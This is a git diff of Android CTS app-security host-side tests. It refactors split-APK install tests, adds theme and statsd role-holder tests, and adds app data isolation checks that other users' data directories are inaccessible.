+    private void testInheritUpdatedSplit(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE_WARM).run();
+        new InstallMultiple(instant).inheritFrom(PKG).addFile(APK_FEATURE_WARM_REVISION_A).run();
+        runDeviceTests(PKG, CLASS, "testInheritUpdatedSplit_withRevisionA", instant);
     }
 
     @Test
@@ -521,12 +636,12 @@
     @Test
     @AppModeFull(reason = "'full' portion of the hostside test")
     public void testRequiredSplitMissing_full() throws Exception {
-        testSingleBase(false);
+        testRequiredSplitMissing(false);
     }
     @Test
     @AppModeInstant(reason = "'instant' portion of the hostside test")
     public void testRequiredSplitMissing_instant() throws Exception {
-        testSingleBase(true);
+        testRequiredSplitMissing(true);
     }
     private void testRequiredSplitMissing(boolean instant) throws Exception {
         new InstallMultiple(instant).addFile(APK_NEED_SPLIT_BASE)
@@ -535,28 +650,28 @@
 
     @Test
     @AppModeFull(reason = "'full' portion of the hostside test")
-    public void testRequiredSplitInstalledFeature_full() throws Exception {
-        testSingleBase(false);
+    public void testRequiredSplitInstalledFeatureWarm_full() throws Exception {
+        testRequiredSplitInstalledFeatureWarm(false);
     }
     @Test
     @AppModeInstant(reason = "'instant' portion of the hostside test")
-    public void testRequiredSplitInstalledFeature_instant() throws Exception {
-        testSingleBase(true);
+    public void testRequiredSplitInstalledFeatureWarm_instant() throws Exception {
+        testRequiredSplitInstalledFeatureWarm(true);
     }
-    private void testRequiredSplitInstalledFeature(boolean instant) throws Exception {
-        new InstallMultiple(instant).addFile(APK_NEED_SPLIT_BASE).addFile(APK_NEED_SPLIT_FEATURE)
-                .run();
+    private void testRequiredSplitInstalledFeatureWarm(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK_NEED_SPLIT_BASE)
+                .addFile(APK_NEED_SPLIT_FEATURE_WARM).run();
     }
 
     @Test
     @AppModeFull(reason = "'full' portion of the hostside test")
     public void testRequiredSplitInstalledConfig_full() throws Exception {
-        testSingleBase(false);
+        testRequiredSplitInstalledConfig(false);
     }
     @Test
     @AppModeInstant(reason = "'instant' portion of the hostside test")
     public void testRequiredSplitInstalledConfig_instant() throws Exception {
-        testSingleBase(true);
+        testRequiredSplitInstalledConfig(true);
     }
     private void testRequiredSplitInstalledConfig(boolean instant) throws Exception {
         new InstallMultiple(instant).addFile(APK_NEED_SPLIT_BASE).addFile(APK_NEED_SPLIT_CONFIG)
@@ -566,24 +681,24 @@
     @Test
     @AppModeFull(reason = "'full' portion of the hostside test")
     public void testRequiredSplitRemoved_full() throws Exception {
-        testSingleBase(false);
+        testRequiredSplitRemoved(false);
     }
     @Test
     @AppModeInstant(reason = "'instant' portion of the hostside test")
     public void testRequiredSplitRemoved_instant() throws Exception {
-        testSingleBase(true);
+        testRequiredSplitRemoved(true);
     }
     private void testRequiredSplitRemoved(boolean instant) throws Exception {
         // start with a base and two splits
         new InstallMultiple(instant)
                 .addFile(APK_NEED_SPLIT_BASE)
-                .addFile(APK_NEED_SPLIT_FEATURE)
+                .addFile(APK_NEED_SPLIT_FEATURE_WARM)
                 .addFile(APK_NEED_SPLIT_CONFIG)
                 .run();
         // it's okay to remove one of the splits
-        new InstallMultiple(instant).inheritFrom(PKG).removeSplit("split_feature").run();
+        new InstallMultiple(instant).inheritFrom(PKG).removeSplit("feature_warm").run();
         // but, not to remove all of them
-        new InstallMultiple(instant).inheritFrom(PKG).removeSplit("split_config.xxhdpi")
+        new InstallMultiple(instant).inheritFrom(PKG).removeSplit("config.xxhdpi")
                 .runExpectingFailure("INSTALL_FAILED_MISSING_SPLIT");
     }
 
@@ -606,4 +721,137 @@
         new InstallMultiple(instant).addArg("-r").addFile(APK_DIFF_VERSION).run();
         runDeviceTests(PKG, CLASS, "testCodeCacheRead");
     }
+
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testComponentWithSplitName_instant() throws Exception {
+        new InstallMultiple(true).addFile(APK_INSTANT).run();
+        runDeviceTests(PKG, CLASS, "testComponentWithSplitName_singleBase");
+        new InstallMultiple(true).inheritFrom(PKG).addFile(APK_FEATURE_WARM).run();
+        runDeviceTests(PKG, CLASS, "testComponentWithSplitName_featureWarmInstalled");
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testTheme_installBase_full() throws Exception {
+        testTheme_installBase(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testTheme_installBase_instant() throws Exception {
+        testTheme_installBase(true);
+    }
+    private void testTheme_installBase(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).run();
+        runDeviceTests(PKG, CLASS, "launchBaseActivity_withThemeBase_baseApplied");
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testTheme_installBaseV23_full() throws Exception {
+        testTheme_installBaseV23(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testTheme_installBaseV23_instant() throws Exception {
+        testTheme_installBaseV23(true);
+    }
+    private void testTheme_installBaseV23(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).addFile(APK_v23).run();
+        runDeviceTests(PKG, CLASS, "launchBaseActivity_withThemeBaseLt_baseLtApplied");
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testTheme_installFeatureWarm_full() throws Exception {
+        testTheme_installFeatureWarm(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testTheme_installFeatureWarm_instant() throws Exception {
+        testTheme_installFeatureWarm(true);
+    }
+    private void testTheme_installFeatureWarm(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE_WARM).run();
+        runDeviceTests(PKG, CLASS, "launchBaseActivity_withThemeWarm_warmApplied");
+        runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeBase_baseApplied");
+        runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeWarm_warmApplied");
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testTheme_installFeatureWarmV23_full() throws Exception {
+        testTheme_installFeatureWarmV23(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testTheme_installFeatureWarmV23_instant() throws Exception {
+        testTheme_installFeatureWarmV23(true);
+    }
+    private void testTheme_installFeatureWarmV23(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).addFile(APK_v23).addFile(APK_FEATURE_WARM)
+                .addFile(APK_FEATURE_WARM_v23).run();
+        runDeviceTests(PKG, CLASS, "launchBaseActivity_withThemeWarmLt_warmLtApplied");
+        runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeBaseLt_baseLtApplied");
+        runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeWarmLt_warmLtApplied");
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testTheme_installFeatureWarmV23_removeV23_full() throws Exception {
+        testTheme_installFeatureWarmV23_removeV23(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testTheme_installFeatureWarmV23_removeV23_instant() throws Exception {
+        testTheme_installFeatureWarmV23_removeV23(true);
+    }
+    private void testTheme_installFeatureWarmV23_removeV23(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).addFile(APK_v23).addFile(APK_FEATURE_WARM)
+                .addFile(APK_FEATURE_WARM_v23).run();
+        new InstallMultiple(instant).inheritFrom(PKG).removeSplit("config.v23")
+                .removeSplit("feature_warm.config.v23").run();
+        runDeviceTests(PKG, CLASS, "launchBaseActivity_withThemeWarm_warmApplied");
+        runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeBase_baseApplied");
+        runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeWarm_warmApplied");
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testTheme_installFeatureWarmAndRose_full() throws Exception {
+        testTheme_installFeatureWarmAndRose(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testTheme_installFeatureWarmAndRose_instant() throws Exception {
+        testTheme_installFeatureWarmAndRose(true);
+    }
+    private void testTheme_installFeatureWarmAndRose(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).addFile(APK_FEATURE_WARM)
+                .addFile(APK_FEATURE_ROSE).run();
+        runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeWarm_warmApplied");
+        runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeRose_roseApplied");
+        runDeviceTests(PKG, CLASS, "launchRoseActivity_withThemeWarm_warmApplied");
+        runDeviceTests(PKG, CLASS, "launchRoseActivity_withThemeRose_roseApplied");
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testTheme_installFeatureWarmAndRoseV23_full() throws Exception {
+        testTheme_installFeatureWarmAndRoseV23(false);
+    }
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testTheme_installFeatureWarmAndRoseV23_instant() throws Exception {
+        testTheme_installFeatureWarmAndRoseV23(true);
+    }
+    private void testTheme_installFeatureWarmAndRoseV23(boolean instant) throws Exception {
+        new InstallMultiple(instant).addFile(APK).addFile(APK_v23)
+                .addFile(APK_FEATURE_WARM).addFile(APK_FEATURE_WARM_v23)
+                .addFile(APK_FEATURE_ROSE).addFile(APK_FEATURE_ROSE_v23).run();
+        runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeWarmLt_warmLtApplied");
+        runDeviceTests(PKG, CLASS, "launchWarmActivity_withThemeRoseLt_roseLtApplied");
+        runDeviceTests(PKG, CLASS, "launchRoseActivity_withThemeWarmLt_warmLtApplied");
+        runDeviceTests(PKG, CLASS, "launchRoseActivity_withThemeRoseLt_roseLtApplied");
+    }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/StatsdAppSecurityAtomTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/StatsdAppSecurityAtomTest.java
new file mode 100644
index 0000000..7d46320
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/StatsdAppSecurityAtomTest.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+
+/**
+ * Set of tests that verify atoms are correctly sent to statsd.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class StatsdAppSecurityAtomTest extends BaseHostJUnit4Test {
+    private static final String STATSD_APP_APK = "CtsStatsSecurityApp.apk";
+    private static final String STATSD_APP_PKG = "com.android.cts.statsdsecurityapp";
+
+    @Before
+    public void setUp() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        installPackage(STATSD_APP_APK);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        getDevice().uninstallPackage(STATSD_APP_PKG);
+    }
+
+    @Test
+    public void testRoleHolder() throws Exception {
+        // Make device side test package a role holder
+        String callScreenAppRole = "android.app.role.CALL_SCREENING";
+        getDevice().executeShellCommand(
+                "cmd role add-role-holder " + callScreenAppRole + " "
+                        + STATSD_APP_PKG);
+
+        // Set up what to collect
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), STATSD_APP_PKG,
+                AtomsProto.Atom.ROLE_HOLDER_FIELD_NUMBER);
+
+        boolean verifiedKnowRoleState = false;
+
+        // Pull a report
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        int testAppId = getAppId(DeviceUtils.getAppUid(getDevice(), STATSD_APP_PKG));
+
+        for (AtomsProto.Atom atom : ReportUtils.getGaugeMetricAtoms(getDevice())) {
+            AtomsProto.RoleHolder roleHolder = atom.getRoleHolder();
+
+            assertThat(roleHolder.getPackageName()).isNotNull();
+            assertThat(roleHolder.getUid()).isAtLeast(0);
+            assertThat(roleHolder.getRole()).isNotNull();
+
+            if (roleHolder.getPackageName().equals(STATSD_APP_PKG)) {
+                assertThat(getAppId(roleHolder.getUid())).isEqualTo(testAppId);
+                assertThat(roleHolder.getPackageName()).isEqualTo(STATSD_APP_PKG);
+                assertThat(roleHolder.getRole()).isEqualTo(callScreenAppRole);
+
+                verifiedKnowRoleState = true;
+            }
+        }
+
+        assertThat(verifiedKnowRoleState).isTrue();
+    }
+
+    /**
+     * The app id from a uid.
+     *
+     * @param uid The uid of the app
+     * @return The app id of the app
+     * @see android.os.UserHandle#getAppId
+     */
+    private static int getAppId(int uid) {
+        return uid % 100000;
+    }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/TEST_MAPPING b/hostsidetests/appsecurity/src/android/appsecurity/cts/TEST_MAPPING
new file mode 100644
index 0000000..252d258
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/TEST_MAPPING
@@ -0,0 +1,22 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsAppSecurityHostTestCases",
+      "options": [
+        {
+          "include-filter": "android.appsecurity.cts.SplitTests"
+        }
+      ],
+      "file_patterns": ["SplitTests\\.java"]
+    },
+    {
+      "name": "CtsAppSecurityHostTestCases",
+      "options": [
+        {
+          "include-filter": "android.appsecurity.cts.IsolatedSplitsTests"
+        }
+      ],
+      "file_patterns": ["IsolatedSplitsTests\\.java"]
+    }
+  ]
+}
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/Android.bp b/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/Android.bp
index e9df6a5..53088c9 100644
--- a/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/Android.bp
@@ -37,6 +37,11 @@
     use_embedded_native_libs: true,
     sdk_version: "current",
     certificate: ":cts-testkey1",
+    dist: {
+        targets: [
+            "cts",
+        ],
+    },
 }
 
 android_test_helper_app {
@@ -52,6 +57,11 @@
     },
     sdk_version: "current",
     certificate: ":cts-testkey1",
+    dist: {
+        targets: [
+            "cts",
+        ],
+    },
 }
 
 cc_library_shared {
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/OWNERS b/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/OWNERS
new file mode 100644
index 0000000..5a88bff
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 86431
+victorhsieh@google.com
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/testdata/Android.bp b/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/testdata/Android.bp
index f5688c7..5060c37 100644
--- a/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/testdata/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/testdata/Android.bp
@@ -14,13 +14,7 @@
 
 // A rule to collect apps for debugging purpose. See ApkVerityTestAppPrebuilt/README.md.
 package {
-    // See: http://go/android-license-faq
-    // A large-scale-change added 'default_applicable_licenses' to import
-    // all of the 'license_kinds' from "cts_license"
-    // to get the below license kinds:
-    //   SPDX-license-identifier-Apache-2.0
-    //   SPDX-license-identifier-NCSA
-    default_applicable_licenses: ["cts_license"],
+    default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
 genrule {
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/Android.bp b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/Android.bp
index 575d94e..08e4ac2 100644
--- a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/Android.bp
@@ -16,13 +16,7 @@
 // build/make/target/product/security/fsverity-release.x509.der
 
 package {
-    // See: http://go/android-license-faq
-    // A large-scale-change added 'default_applicable_licenses' to import
-    // all of the 'license_kinds' from "cts_license"
-    // to get the below license kinds:
-    //   SPDX-license-identifier-Apache-2.0
-    //   SPDX-license-identifier-NCSA
-    default_applicable_licenses: ["cts_license"],
+    default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
 filegroup {
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/OWNERS b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/OWNERS
new file mode 100644
index 0000000..5a88bff
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 86431
+victorhsieh@google.com
diff --git a/hostsidetests/appsecurity/test-apps/AppAccessData/OWNERS b/hostsidetests/appsecurity/test-apps/AppAccessData/OWNERS
new file mode 100644
index 0000000..a29e20e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/AppAccessData/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 315013
+alanstokes@google.com
+nandana@google.com
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/Android.bp b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/Android.bp
index a9eb884..1643c6e 100644
--- a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/Android.bp
@@ -74,11 +74,30 @@
 }
 
 android_test_helper_app {
+    name: "CtsAppDataIsolationAppApi29A",
+    defaults: ["cts_support_defaults"],
+    srcs: ["common/src/**/*.java", "AppA/src/**/*.java", "AppA/aidl/**/*.aidl"],
+    sdk_version: "test_current",
+    static_libs: ["androidx.test.rules", "truth-prebuilt", "testng", "ub-uiautomator", "compatibility-device-util-axt"],
+    libs: ["android.test.base"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    certificate: ":cts-testkey1",
+    dex_preopt: {
+        enabled: false,
+    },
+    manifest: "AppA/AndroidManifest_api29.xml",
+}
+
+android_test_helper_app {
     name: "CtsAppDataIsolationAppB",
     defaults: ["cts_support_defaults"],
     srcs: ["common/src/**/*.java", "AppB/src/**/*.java"],
     sdk_version: "test_current",
-    static_libs: ["androidx.test.rules", "truth-prebuilt", "testng", "compatibility-device-util-axt"],
+    static_libs: ["androidx.test.rules", "truth-prebuilt", "testng", "ub-uiautomator", "compatibility-device-util-axt"],
     libs: ["android.test.base"],
     // tag this module as a cts test artifact
     test_suites: [
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/AndroidManifest_api29.xml b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/AndroidManifest_api29.xml
new file mode 100644
index 0000000..15c3ce1
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/AndroidManifest_api29.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+       package="com.android.cts.appdataisolation.appa">
+
+    <uses-sdk android:targetSdkVersion="29" />
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <service android:name=".IsolatedService"
+                 android:process=":Isolated"
+                 android:isolatedProcess="true"/>
+        <service android:name=".AppZygoteIsolatedService"
+                 android:process=":Isolated2"
+                 android:isolatedProcess="true"
+                 android:useAppZygote="true"/>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="com.android.cts.appdataisolation.appa"
+                     android:label="Test app data isolation."/>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java
index c25d3d9..90bffe8 100644
--- a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java
@@ -16,10 +16,12 @@
 
 package com.android.cts.appdataisolation.appa;
 
+import static com.android.cts.appdataisolation.common.FileUtils.APPA_PKG;
 import static com.android.cts.appdataisolation.common.FileUtils.APPB_PKG;
 import static com.android.cts.appdataisolation.common.FileUtils.CE_DATA_FILE_NAME;
 import static com.android.cts.appdataisolation.common.FileUtils.DE_DATA_FILE_NAME;
 import static com.android.cts.appdataisolation.common.FileUtils.EXTERNAL_DATA_FILE_NAME;
+import static com.android.cts.appdataisolation.common.FileUtils.NOT_INSTALLED_PKG;
 import static com.android.cts.appdataisolation.common.FileUtils.OBB_FILE_NAME;
 import static com.android.cts.appdataisolation.common.FileUtils.assertDirDoesNotExist;
 import static com.android.cts.appdataisolation.common.FileUtils.assertDirIsAccessible;
@@ -39,13 +41,17 @@
 import android.content.IntentFilter;
 import android.content.ServiceConnection;
 import android.content.pm.ApplicationInfo;
+import android.os.Build;
+import android.os.Bundle;
 import android.os.IBinder;
+import android.os.SystemProperties;
 import android.support.test.uiautomator.UiDevice;
 import android.view.KeyEvent;
 
 import androidx.test.filters.SmallTest;
 import androidx.test.platform.app.InstrumentationRegistry;
 
+import com.android.compatibility.common.util.PropertyUtil;
 import com.android.cts.appdataisolation.common.FileUtils;
 
 import org.junit.Before;
@@ -287,4 +293,59 @@
             mContext.unbindService(mServiceConnection);
         }
     }
+
+    @Test
+    public void testOtherUserDirsNotPresent() throws Exception {
+        final Bundle arguments = InstrumentationRegistry.getArguments();
+        final int otherUserId = Integer.parseInt(arguments.getString("other_user_id"));
+
+        final String ceDataRoot = "/data/user/" + otherUserId;
+        final String deDataRoot = "/data/user_de/" + otherUserId;
+        final String profileRoot = "/data/misc/profiles/cur/" + otherUserId;
+
+        assertDirDoesNotExist(ceDataRoot);
+        assertDirDoesNotExist(deDataRoot);
+        assertDirDoesNotExist(profileRoot);
+    }
+
+    @Test
+    public void testOtherUserDirsNotAccessible() throws Exception {
+        final Bundle arguments = InstrumentationRegistry.getArguments();
+        final int otherUserId = Integer.parseInt(arguments.getString("other_user_id"));
+
+        final String ceDataRoot = "/data/user/" + otherUserId;
+        final String deDataRoot = "/data/user_de/" + otherUserId;
+        final String profileRoot = "/data/misc/profiles/cur/" + otherUserId;
+
+        // APPA (this app) is installed in this user but not the other one.
+        // APPB is installed in this user and the other one.
+        // NOT_INSTALLED_PKG isn't installed anywhere.
+        // We must get the same answer for all of them, so we can't infer if any of them are or
+        // are not installed in the other user.
+        assertDirIsNotAccessible(ceDataRoot);
+        assertDirIsNotAccessible(ceDataRoot + "/" + APPA_PKG);
+        assertDirIsNotAccessible(ceDataRoot + "/" + APPB_PKG);
+        assertDirIsNotAccessible(ceDataRoot + "/" + NOT_INSTALLED_PKG);
+
+        assertDirIsNotAccessible(deDataRoot);
+        assertDirIsNotAccessible(deDataRoot + "/" + APPA_PKG);
+        assertDirIsNotAccessible(deDataRoot + "/" + APPB_PKG);
+        assertDirIsNotAccessible(deDataRoot + "/" + NOT_INSTALLED_PKG);
+
+        // If the vendor policy is pre-R then backward compatibility rules apply.
+        if (isVendorPolicyNewerThanR()) {
+            assertDirIsNotAccessible(profileRoot);
+            assertDirIsNotAccessible(profileRoot + "/" + APPA_PKG);
+            assertDirIsNotAccessible(profileRoot + "/" + APPB_PKG);
+            assertDirIsNotAccessible(profileRoot + "/" + NOT_INSTALLED_PKG);
+        }
+    }
+
+    private boolean isVendorPolicyNewerThanR() {
+        if (SystemProperties.get("ro.vndk.version").equals("S")) {
+            // Vendor build is S, but before the API level bump - good enough for us.
+            return true;
+        }
+        return PropertyUtil.isVendorApiLevelNewerThan(Build.VERSION_CODES.R);
+    }
 }
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/IsolatedService.java b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/IsolatedService.java
index d209a42..0ecb443 100644
--- a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/IsolatedService.java
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/IsolatedService.java
@@ -36,14 +36,17 @@
         public void assertDataIsolated() throws RemoteException {
             try {
                 ApplicationInfo applicationInfo = getApplicationInfo();
+
+                assertDirIsNotAccessible("/data/misc/profiles/ref");
+
                 assertDirDoesNotExist(applicationInfo.dataDir);
                 assertDirDoesNotExist(applicationInfo.deviceProtectedDataDir);
                 assertDirDoesNotExist("/data/data/" + getPackageName());
 
                 int currentUserId = getCurrentUserId();
+
                 assertDirDoesNotExist("/data/misc/profiles/cur/" + currentUserId + "/"
                         + getPackageName());
-                assertDirIsNotAccessible("/data/misc/profiles/ref");
 
                 assertDirDoesNotExist(FileUtils.replacePackageAWithPackageB(
                         applicationInfo.dataDir));
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/FileUtils.java b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/FileUtils.java
index 4cb158e..15450f9 100644
--- a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/FileUtils.java
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/FileUtils.java
@@ -59,6 +59,8 @@
         });
         assertThat(exception.getMessage()).contains(JAVA_FILE_PERMISSION_DENIED_MSG);
         assertThat(exception.getMessage()).doesNotContain(JAVA_FILE_NOT_FOUND_MSG);
+
+        assertThat(new File(path).canExecute()).isFalse();
     }
 
     public static void assertDirDoesNotExist(String path) {
@@ -85,6 +87,8 @@
         } catch (ErrnoException e) {
             assertEquals(e.errno, OsConstants.EACCES, "Error on path: " + path);
         }
+
+        assertThat(directory.exists()).isFalse();
     }
 
     public static void assertDirIsAccessible(String path) {
@@ -92,6 +96,8 @@
         // if app has search permission to that directory, it should return file not found
         // and not security exception.
         assertFileDoesNotExist(path, "FILE_DOES_NOT_EXIST");
+
+        assertThat(new File(path).canExecute()).isTrue();
     }
 
     public static void assertFileIsAccessible(String path) {
diff --git a/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/src/com/android/cts/applicationvisibility/ApplicationVisibilityCrossUserTest.java b/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/src/com/android/cts/applicationvisibility/ApplicationVisibilityCrossUserTest.java
index ee73606..042e74a 100644
--- a/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/src/com/android/cts/applicationvisibility/ApplicationVisibilityCrossUserTest.java
+++ b/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/src/com/android/cts/applicationvisibility/ApplicationVisibilityCrossUserTest.java
@@ -28,6 +28,7 @@
 import android.content.pm.PackageManager;
 import android.os.Bundle;
 import android.os.Process;
+import android.os.UserHandle;
 
 import androidx.test.InstrumentationRegistry;
 
@@ -37,6 +38,7 @@
 import org.junit.runners.JUnit4;
 
 import java.util.List;
+import java.util.stream.Stream;
 
 @RunWith(JUnit4.class)
 public class ApplicationVisibilityCrossUserTest {
@@ -150,6 +152,48 @@
         } catch (SecurityException ignore) {}
     }
 
+    /** Tests getting installed packages for the current user */
+    @Test
+    public void testGetPackagesForUidVisibility_currentUser() throws Exception {
+        final PackageManager pm = mContext.getPackageManager();
+        final int userId = mContext.getUserId();
+        final int firstAppUid = UserHandle.getUid(userId, Process.FIRST_APPLICATION_UID);
+        final int lastAppUid = UserHandle.getUid(userId, Process.LAST_APPLICATION_UID);
+        boolean found = false;
+        for (int appUid = firstAppUid; appUid < lastAppUid; appUid++) {
+            found = isAppInPackageNamesArray(TINY_PKG, pm.getPackagesForUid(appUid));
+            if (found) break;
+        }
+        assertFalse(found);
+    }
+
+    /** Tests getting installed packages for primary user, with cross user permission granted */
+    @Test
